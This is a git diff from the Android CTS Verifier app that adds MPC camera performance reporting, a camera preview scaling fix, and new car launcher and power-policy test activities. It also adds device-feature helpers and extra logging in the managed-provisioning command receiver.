     // map camera id to ITS summary report path
     private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
+    // All primary cameras for which MPC level test has run
+    private Set<ResultKey> mExecutedMpcTests = null;
+    // Map primary camera id to MPC level
+    private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
 
     final class ResultKey {
         public final String cameraId;
@@ -213,7 +231,6 @@
 
                     // Update test execution results
                     for (String scene : scenes) {
-                        HashMap<String, String> executedTests = new HashMap<>();
                         JSONObject sceneResult = jsonResults.getJSONObject(scene);
                         Log.v(TAG, sceneResult.toString());
                         String result = sceneResult.getString("result");
@@ -241,6 +258,22 @@
                                 mSummaryMap.put(key, summary);
                             }
                         } // do nothing for NOT_EXECUTED scenes
+
+                        if (sceneResult.isNull("mpc_metrics")) {
+                            continue;
+                        }
+                        // Update MPC level
+                        JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
+                        for (int i = 0; i < metrics.length(); i++) {
+                            String mpcResult = metrics.getString(i);
+                            if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
+                                    "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
+                                    !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
+                                    "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+                                Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
+                                return;
+                            }
+                        }
                     }
                 } catch (org.json.JSONException e) {
                     Log.e(TAG, "Error reading json result string:" + results , e);
@@ -249,6 +282,7 @@
 
                 // Set summary if all scenes reported
                 if (mSummaryMap.keySet().containsAll(mAllScenes)) {
+                    // Save test summary
                     StringBuilder summary = new StringBuilder();
                     for (String path : mSummaryMap.values()) {
                         appendFileContentToSummary(summary, path);
@@ -260,6 +294,17 @@
                             summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
                 }
 
+                //  Save MPC info once both front primary and rear primary data are collected.
+                if (mExecutedMpcTests.size() == 4) {
+                    ItsTestActivity.this.getReportLog().addValue(
+                            "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+                    for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
+                        ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
+                                entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
+                    }
+                    ItsTestActivity.this.getReportLog().submit();
+                }
+
                 // Display current progress
                 StringBuilder progress = new StringBuilder();
                 for (ResultKey k : mAllScenes) {
@@ -321,6 +366,29 @@
                 }
             }
         }
+
+        private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
+                String reqNum, float threshold) {
+            Matcher matcher = pattern.matcher(mpcResult);
+            boolean match = matcher.matches();
+
+            if (match) {
+                // Store test result
+                ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
+                        mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+
+                float latency = Float.parseFloat(matcher.group(1));
+                int mpcLevel = latency < threshold ? 31 : 0;
+                mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
+
+                if (mMpcLevelMap.containsKey(reqNum)) {
+                    mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
+                }
+                mMpcLevelMap.put(reqNum, mpcLevel);
+            }
+
+            return match;
+        }
     }
 
     @Override
@@ -388,6 +456,9 @@
                 testTitle(cam, scene),
                 testId(cam, scene)));
             }
+            if (mExecutedMpcTests == null) {
+                mExecutedMpcTests = new TreeSet<>(mComparator);
+            }
             Log.d(TAG,"Total combinations to test on this device:" + mAllScenes.size());
         }
     }
@@ -427,4 +498,14 @@
         setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
         setPassFailButtonClickListeners();
     }
+
+    @Override
+    public String getReportFileName() {
+        return MPC_TESTS_REPORT_LOG_NAME;
+    }
+
+    @Override
+    public String getReportSectionName() {
+        return MPC_TESTS_REPORT_LOG_SECTION;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index f38ba85..d508f7a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -16,22 +16,17 @@
 package com.android.cts.verifier.camera.video;
 
 import android.app.AlertDialog;
-import android.content.Context;
 import android.content.DialogInterface;
 import android.graphics.Matrix;
 import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.Camera.CameraInfo;
 import android.hardware.Camera.Size;
-import android.hardware.camera2.CameraAccessException;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraManager;
 import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.MediaPlayer;
 import android.media.MediaRecorder;
 import android.os.Bundle;
-import android.os.Environment;
 import android.os.Handler;
 import android.text.method.ScrollingMovementMethod;
 import android.util.Log;
@@ -871,10 +866,6 @@
             mVideoRotation = (info.orientation - degrees + 360) % 360;
             mPreviewRotation = mVideoRotation;
         }
-        if (mPreviewRotation != 0 && mPreviewRotation != 180) {
-            Log.w(TAG,
-                "Display orientation correction is not 0 or 180, as expected!");
-        }
 
         mCamera.setDisplayOrientation(mPreviewRotation);
 
@@ -903,26 +894,36 @@
         Matrix transform = new Matrix();
         float widthRatio = mNextPreviewSize.width / (float)mPreviewTexWidth;
         float heightRatio = mNextPreviewSize.height / (float)mPreviewTexHeight;
+        float scaledWidth = (float) mPreviewTexWidth;
+        float scaledHeight = (float) mPreviewTexHeight;
         if (VERBOSE) {
             Log.v(TAG, "startPreview: widthRatio=" + widthRatio + " " + "heightRatio=" +
                     heightRatio);
         }
 
         if (heightRatio < widthRatio) {
+            scaledHeight = mPreviewTexHeight * (heightRatio / widthRatio);
             transform.setScale(1, heightRatio / widthRatio);
-            transform.postTranslate(0,
-                    mPreviewTexHeight * (1 - heightRatio / widthRatio) / 2);
+            transform.postTranslate(0, (mPreviewTexHeight - scaledHeight) / 2);
             if (VERBOSE) {
                 Log.v(TAG, "startPreview: shrink vertical by " + heightRatio / widthRatio);
             }
         } else {
+            scaledWidth = mPreviewTexWidth * (widthRatio / heightRatio);
             transform.setScale(widthRatio / heightRatio, 1);
-            transform.postTranslate(mPreviewTexWidth * (1 - widthRatio / heightRatio) / 2, 0);
+            transform.postTranslate((mPreviewTexWidth - scaledWidth) / 2, 0);
             if (VERBOSE) {
                 Log.v(TAG, "startPreview: shrink horizontal by " + widthRatio / heightRatio);
             }
         }
 
+        if (mPreviewRotation == 90 || mPreviewRotation == 270) {
+            float scaledAspect = scaledWidth / scaledHeight;
+            float previewAspect = (float) mNextPreviewSize.width / (float) mNextPreviewSize.height;
+            transform.postScale(1.0f, scaledAspect * previewAspect,
+                                (float) mPreviewTexWidth / 2, (float) mPreviewTexHeight / 2);
+        }
+
         mPreviewView.setTransform(transform);
 
         mPreviewSize = mNextPreviewSize;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+    @Override
+    protected void onCreate(Bundle savedState) {
+        super.onCreate(savedState);
+        setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+        setPassFailButtonClickListeners();
+
+        // Sets the text in the dialog
+        setInfoResources(R.string.car_launcher_test,
+                R.string.car_launcher_test_desc, -1);
+
+        // Open the car launcher
+        findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+            this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
deleted file mode 100644
index 786dc57..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.car;
-
-import android.car.Car;
-import android.car.hardware.CarPropertyConfig;
-import android.car.hardware.CarPropertyValue;
-import android.car.hardware.property.CarPropertyManager;
-import android.car.VehicleAreaType;
-import android.car.VehiclePropertyIds;
-import android.os.Bundle;
-import android.widget.TextView;
-import android.util.ArraySet;
-import android.util.Log;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.Arrays;
-import java.util.List;
-
-/** A CTS Verifier test case to verify NIGHT_MODE is implemented correctly.*/
-public class NightModeTestActivity extends PassFailButtons.Activity {
-    private static final String TAG = NightModeTestActivity.class.getSimpleName();
-    private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
-    private static final String TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION =
-        "TotalTimesNewValueMatchedInstruction";
-    private static final String CURRENT_NIGHT_MODE_VALUE = "CurrentNightModeValue";
-    private Boolean mCurrentNightModeValue;
-    private TextView mInstructionTextView;
-    private TextView mCurrentNightModeValueTextView;
-    private int mTotalTimesNewValueMatchedInstruction = 0;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Setup the UI.
-        setContentView(R.layout.night_mode_test);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.night_mode_test, R.string.night_mode_test_desc, -1);
-        getPassButton().setEnabled(false);
-
-        mInstructionTextView = (TextView) findViewById(R.id.night_mode_instruction);
-        mInstructionTextView.setText("Waiting to get first NIGHT_MODE callback from Vehicle HAL");
-        mCurrentNightModeValueTextView = (TextView) findViewById(R.id.current_night_mode_value);
-
-
-        CarPropertyManager carPropertyManager =
-            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
-
-        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
-            VehiclePropertyIds.NIGHT_MODE, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
-            mInstructionTextView.setText("ERROR: Unable to register for NIGHT_MODE callback");
-            Log.e(TAG, "Failed to register callback for NIGHT_MODE with CarPropertyManager");
-        }
-    }
-
-    // Need to save the state because of the UI Mode switch with the change in the NIGHT_MODE
-    // property value.
-    @Override
-    protected void onSaveInstanceState(final Bundle outState) {
-        super.onSaveInstanceState(outState);
-        outState.putBoolean(CURRENT_NIGHT_MODE_VALUE, mCurrentNightModeValue);
-        outState.putInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION,
-            mTotalTimesNewValueMatchedInstruction);
-    }
-
-    @Override
-    protected void onRestoreInstanceState(final Bundle savedInstanceState) {
-        super.onRestoreInstanceState(savedInstanceState);
-        mCurrentNightModeValue = savedInstanceState.getBoolean(CURRENT_NIGHT_MODE_VALUE);
-        mTotalTimesNewValueMatchedInstruction =
-            savedInstanceState.getInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION);
-    }
-
-    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
-      new CarPropertyManager.CarPropertyEventCallback() {
-        @Override
-        public void onChangeEvent(CarPropertyValue value) {
-            if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
-                Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
-                    value.getPropertyId() + " status: " + value.getStatus());
-                return;
-            }
-
-            Boolean newValue = (Boolean) value.getValue();
-            Log.i(TAG, "New NIGHT_MODE value: " + newValue);
-
-            // On the first callback, mCurrentNightModeValue will be null, so just save the
-            // current value. All other callbacks, check if the NIGHT_MODE value has switched.
-            // If switched, update the count.
-            if (mCurrentNightModeValue != null && !mCurrentNightModeValue.equals(newValue)) {
-                mTotalTimesNewValueMatchedInstruction++;
-            }
-
-            mCurrentNightModeValue = newValue;
-            mCurrentNightModeValueTextView.setText(mCurrentNightModeValue.toString());
-
-            // Check if the test is finished. If not finished, update the instructions.
-            if(mTotalTimesNewValueMatchedInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
-                mInstructionTextView.setText("Test Finished!");
-                getPassButton().setEnabled(true);
-            } else if(mCurrentNightModeValue) {
-                mInstructionTextView.setText("Toggle off NIGHT_MODE through Vehicle HAL");
-            } else {
-                mInstructionTextView.setText("Toggle on NIGHT_MODE through Vehicle HAL");
-            }
-        }
-
-        @Override
-        public void onErrorEvent(int propId, int zone) {
-            Log.e(TAG, "propId: " + propId + " zone: " + zone);
-        }
-      };
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/PowerPolicyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/PowerPolicyTestActivity.java
new file mode 100644
index 0000000..8d2ae2d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/PowerPolicyTestActivity.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.hardware.power.CarPowerManager;
+import android.car.hardware.power.CarPowerPolicy;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Test Power Component Behavior with respect to power policy
+ */
+public final class PowerPolicyTestActivity extends PassFailButtons.Activity {
+    private static final String TAG = PowerPolicyTestActivity.class.getSimpleName();
+    private static final String POWER_OFF_POLICY_ID = "cts_verifier_off";
+    private static final String POWER_ON_POLICY_ID = "cts_verifier_on";
+
+    private final Object mLock = new Object();
+    private ComponentTestState mOffPolicyCheckState = ComponentTestState.NOT_TESTED;
+    private ComponentTestState mOnPolicyCheckState = ComponentTestState.NOT_TESTED;
+
+    private Car mCarApi;
+    @GuardedBy("mLock")
+    private CarPowerManager mPowerManager;
+    private TextView mStatusText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        initCarApi();
+
+        View view = getLayoutInflater().inflate(R.layout.car_power_policy_test_main, null);
+        setContentView(view);
+
+        setInfoResources(R.string.car_power_policy_test, R.string.car_power_policy_test_desc,
+                /* viewid= */ -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        mStatusText = findViewById(R.id.car_power_policy_results);
+
+        Button offCheckButton =
+                (Button) view.findViewById(R.id.car_component_power_off_policy_check);
+        Button onCheckButton =
+                (Button) view.findViewById(R.id.car_component_power_on_policy_check);
+
+        onCheckButton.setEnabled(false);
+
+        // location settings disable
+        Button locationDisableButton = view.findViewById(R.id.car_location_settings_disable);
+        locationDisableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS));
+            onCheckButton.setEnabled(true);
+            locationDisableButton.setEnabled(false);
+        });
+        locationDisableButton.setEnabled(false);
+
+        // bluetooth settings disable
+        Button bluetoothDisableButton = view.findViewById(R.id.car_bluetooth_settings_disable);
+        bluetoothDisableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_BLUETOOTH_SETTINGS));
+            locationDisableButton.setEnabled(true);
+            bluetoothDisableButton.setEnabled(false);
+        });
+        bluetoothDisableButton.setEnabled(false);
+
+        // Wifi settings disable
+        Button wifiDisableButton = view.findViewById(R.id.car_wifi_settings_disable);
+        wifiDisableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_WIRELESS_SETTINGS));
+            bluetoothDisableButton.setEnabled(true);
+            wifiDisableButton.setEnabled(false);
+        });
+        wifiDisableButton.setEnabled(false);
+
+        offCheckButton.setOnClickListener((buttonView) -> {
+            if (checkCarPowerManager()) {
+                synchronized (mLock) {
+                    CarPowerPolicy curPolicy = mPowerManager.getCurrentPowerPolicy();
+                    if (curPolicy != null && curPolicy.getPolicyId().equals(POWER_OFF_POLICY_ID)) {
+                        mOffPolicyCheckState = ComponentTestState.PASS;
+                        offCheckButton.setEnabled(false);
+                        wifiDisableButton.setEnabled(true);
+                        mStatusText.setText("Status: In Progress");
+                    } else {
+                        mOffPolicyCheckState = ComponentTestState.FAIL;
+                        Log.e(TAG, "the cts_verifier_off policy is not the current policy");
+                        mStatusText.setText("Status: error - not cts_verifier_off policy. "
+                                + "Apply the policy first");
+                    }
+                }
+            } else {
+                offCheckButton.setEnabled(false);
+                Log.e(TAG, "Cannot get CarPowerManager");
+                mStatusText.setText("Status: Cannot get CarPowerManager. "
+                        + "Click FAIL to complete the test.");
+            }
+            Log.d(TAG, "cts_verifier_off policy check is done");
+        });
+
+        // location settings enable
+        Button locationEnableButton = view.findViewById(R.id.car_location_settings_enable);
+        locationEnableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS));
+            locationEnableButton.setEnabled(false);
+            verifyStatus();
+        });
+        locationEnableButton.setEnabled(false);
+
+        // bluetooth settings enable
+        Button bluetoothEnableButton = view.findViewById(R.id.car_bluetooth_settings_enable);
+        bluetoothEnableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_BLUETOOTH_SETTINGS));
+            locationEnableButton.setEnabled(true);
+            bluetoothEnableButton.setEnabled(false);
+        });
+        bluetoothEnableButton.setEnabled(false);
+
+        // Wifi settings enable
+        Button wifiEnableButton = view.findViewById(R.id.car_wifi_settings_enable);
+        wifiEnableButton.setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_WIRELESS_SETTINGS));
+            bluetoothEnableButton.setEnabled(true);
+            wifiEnableButton.setEnabled(false);
+        });
+        wifiEnableButton.setEnabled(false);
+
+        onCheckButton.setOnClickListener((buttonView) -> {
+            if (checkCarPowerManager()) {
+                synchronized (mLock) {
+                    CarPowerPolicy curPolicy = mPowerManager.getCurrentPowerPolicy();
+                    if (curPolicy != null && curPolicy.getPolicyId().equals(POWER_ON_POLICY_ID)) {
+                        mOnPolicyCheckState = ComponentTestState.PASS;
+                        onCheckButton.setEnabled(false);
+                        wifiEnableButton.setEnabled(true);
+                        mStatusText.setText("Status: In Progress.");
+                    } else {
+                        mOnPolicyCheckState = ComponentTestState.FAIL;
+                        Log.e(TAG, "cts_verifier_on is not the current power policy");
+                        mStatusText.setText("Status: error - not cts_verifier_on policy. "
+                                + "Apply the policy first");
+                    }
+                }
+            } else {
+                Log.e(TAG, "not able to connect to CarPowerManagementService");
+                onCheckButton.setEnabled(false);
+                mStatusText.setText("Status: not able to connect CarPowerManagementService. "
+                        + "Click FAIL to complete the test");
+            }
+            Log.d(TAG, "Power On Policy Check is done");
+        });
+
+        mStatusText.setText("Status: In Progress");
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.d(TAG, "onDestroy");
+        if (mCarApi != null) {
+            mCarApi.disconnect();
+        }
+        super.onDestroy();
+    }
+
+    private void verifyStatus() {
+        boolean testPassed = true;
+        boolean testCompleted = true;
+        ComponentTestState[] states = {
+            mOffPolicyCheckState,
+            mOnPolicyCheckState
+        };
+        String[] stateName = {
+            "power_off policy verify",
+            "power_on policy verify "
+        };
+        String statusStr = "Status: ";
+
+        for (int i = 0; i < states.length; i++) {
+            switch (states[i]) {
+                case NOT_TESTED:
+                    testCompleted &= false;
+                    statusStr += stateName[i] + " NOT_TESTED. ";
+                    break;
+                case PASS:
+                    statusStr += stateName[i] + " PASS. ";
+                    break;
+                case FAIL:
+                    statusStr += stateName[i] + " FAIL. ";
+                    testPassed &= false;
+                    break;
+                default:
+                    testCompleted &= false;
+                    testPassed &= false;
+                    statusStr += stateName[i] + " unknown. ";
+            }
+        }
+
+        mStatusText.setText(statusStr);
+        getPassButton().setEnabled(testPassed);
+        Log.d(TAG, "car UI power policy behavior verification: \n" + statusStr);
+    }
+
+    private boolean checkCarPowerManager() {
+        if (mPowerManager == null) {
+            Log.e(TAG, "not able to connect to the CarPowerManagementSeervice");
+            mOffPolicyCheckState = ComponentTestState.FAIL;
+            mOnPolicyCheckState = ComponentTestState.FAIL;
+            return false;
+        }
+        return true;
+    }
+
+    private void initCarApi() {
+        if (mCarApi != null && mCarApi.isConnected()) {
+            mCarApi.disconnect();
+            mCarApi = null;
+        }
+        mCarApi = Car.createCar(this, null, Car.CAR_WAIT_TIMEOUT_WAIT_FOREVER,
+                (Car car, boolean ready) -> {
+                    initManagers(car, ready);
+                });
+    }
+
+    private void initManagers(Car car, boolean ready) {
+        synchronized (mLock) {
+            if (ready) {
+                mPowerManager = (CarPowerManager) car.getCarManager(
+                        android.car.Car.POWER_SERVICE);
+                Log.d(TAG, "initManagers() completed");
+            } else {
+                mPowerManager = null;
+                Log.wtf(TAG, "initManagers() set to be null");
+            }
+        }
+    }
+
+    private enum ComponentTestState {
+        NOT_TESTED,
+        FAIL,
+        PASS
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index 1fe4768..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -34,7 +34,7 @@
      * Checks whether the device supports configing (e.g. disable, enable) location
      */
     public static boolean isConfigLocationSupported(Context context) {
-        return !isWatchOrAutomotive(context);
+        return !isWatch(context);
     }
 
     /**
@@ -73,19 +73,63 @@
     }
 
     /**
+     * Checks whether the device supports installing from unknown sources
+     */
+    public static boolean isInstallUnknownSourcesSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+     */
+    public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+        return isAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device supports file transfer.
+     */
+    public static boolean isUsbFileTransferSupported(Context context) {
+        return !isWatchOrAutomotive(context);
+    }
+
+    /**
+     * Checks whether the device is watch .
+     */
+    private static boolean isWatch(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    /**
      * Checks whether the device is watch or automotive
      */
-    private static boolean isWatchOrAutomotive(Context context) {
+    public static boolean isWatchOrAutomotive(Context context) {
         PackageManager pm = context.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
     /**
+     * Checks whether the device is automotive
+     */
+    public static boolean isAutomotive(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
      * Checks whether the device supports managed secondary users.
      */
     public static boolean supportManagedSecondaryUsers(Context context) {
         return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
                 || UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers();
     }
+
+    /**
+     * Checks whether the device shows keyguard when the user doesn't have credentials.
+     */
+    public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
+        return !isAutomotive(context);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 4552ccc..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -22,6 +22,7 @@
 
 import android.Manifest;
 import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.KeyguardManager;
 import android.app.PendingIntent;
 import android.app.admin.DevicePolicyManager;
@@ -125,6 +126,7 @@
     public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
     public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
             "set-required-password-complexity";
+    public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -186,6 +188,7 @@
     private ComponentName mAdmin;
     private DevicePolicyManager mDpm;
     private UserManager mUm;
+    private ActivityManager mAm;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -196,23 +199,22 @@
             // user mode it runs in a different user.
             // Most DPM operations must be set on device owner user, but a few - like adding user
             // restrictions - must be set in the current user.
-            boolean useCurrentUserDpm = intent.getBooleanExtra(EXTRA_USE_CURRENT_USER_DPM, false);
-            mDpm = useCurrentUserDpm
-                    ? getSystemService(DevicePolicyManager.class)
-                    : TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                            DeviceAdminTestReceiver.class);
+            boolean forDeviceOwner = !intent.getBooleanExtra(EXTRA_USE_CURRENT_USER_DPM, false);
+            mDpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                            DeviceAdminTestReceiver.class, forDeviceOwner);
 
-            mUm = (UserManager) getSystemService(Context.USER_SERVICE);
+            mUm = getSystemService(UserManager.class);
+            mAm = getSystemService(ActivityManager.class);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
             final String command = intent.getStringExtra(EXTRA_COMMAND);
-            Log.i(TAG, "Command: " + command);
+            Log.i(TAG, "Command: " + command + " forDeviceOwner: " + forDeviceOwner);
             switch (command) {
                 case COMMAND_SET_USER_RESTRICTION: {
                     String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION);
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
                     Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced
-                            + " using " + mDpm + " on user "
-                            + (useCurrentUserDpm ? UserHandle.myUserId() : UserHandle.SYSTEM));
+                            + " using " + mDpm + " for user "
+                            + (forDeviceOwner ? UserHandle.SYSTEM : UserHandle.myUserId()));
                     if (enforced) {
                         mDpm.addUserRestriction(mAdmin, restrictionKey);
                     } else {
@@ -251,6 +253,9 @@
                 } break;
                 case COMMAND_SET_STATUSBAR_DISABLED: {
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
+                    Log.d(TAG, "calling setStatusBarDisabled("
+                            + ComponentName.flattenToShortString(mAdmin) + ", " + enforced
+                            + ") using " + mDpm + " on user " + UserHandle.myUserId());
                     mDpm.setStatusBarDisabled(mAdmin, enforced);
                 } break;
                 case COMMAND_SET_LOCK_TASK_FEATURES: {
@@ -278,6 +283,8 @@
                 case COMMAND_SET_GLOBAL_SETTING: {
                     final String setting = intent.getStringExtra(EXTRA_SETTING);
                     final String value = intent.getStringExtra(EXTRA_VALUE);
+                    Log.d(TAG, "Setting global property '" + setting + "' to '" + value
+                            + "' using " + mDpm);
                     mDpm.setGlobalSetting(mAdmin, setting, value);
                 } break;
                 case COMMAND_REMOVE_DEVICE_OWNER: {
@@ -287,11 +294,12 @@
                         return;
                     }
                     clearAllPoliciesAndRestrictions();
+                    Log.i(TAG, "Clearing device owner app " + getPackageName());
                     mDpm.clearDeviceOwnerApp(getPackageName());
 
-                    // TODO(b/179100903): temporarily removing PO, should be done automatically
                     if (UserManager.isHeadlessSystemUserMode()) {
-                        Log.i(TAG, "Disabling PO on user " + UserHandle.myUserId());
+                        Log.i(TAG, "Clearing profile owner app (" + mAdmin.flattenToString()
+                                + " on user " + UserHandle.myUserId());
                         DevicePolicyManager localDpm = getSystemService(DevicePolicyManager.class);
                         localDpm.clearProfileOwner(mAdmin);
                     }
@@ -375,6 +383,7 @@
                     uninstallHelperPackage();
                 } break;
                 case COMMAND_SET_PERMISSION_GRANT_STATE: {
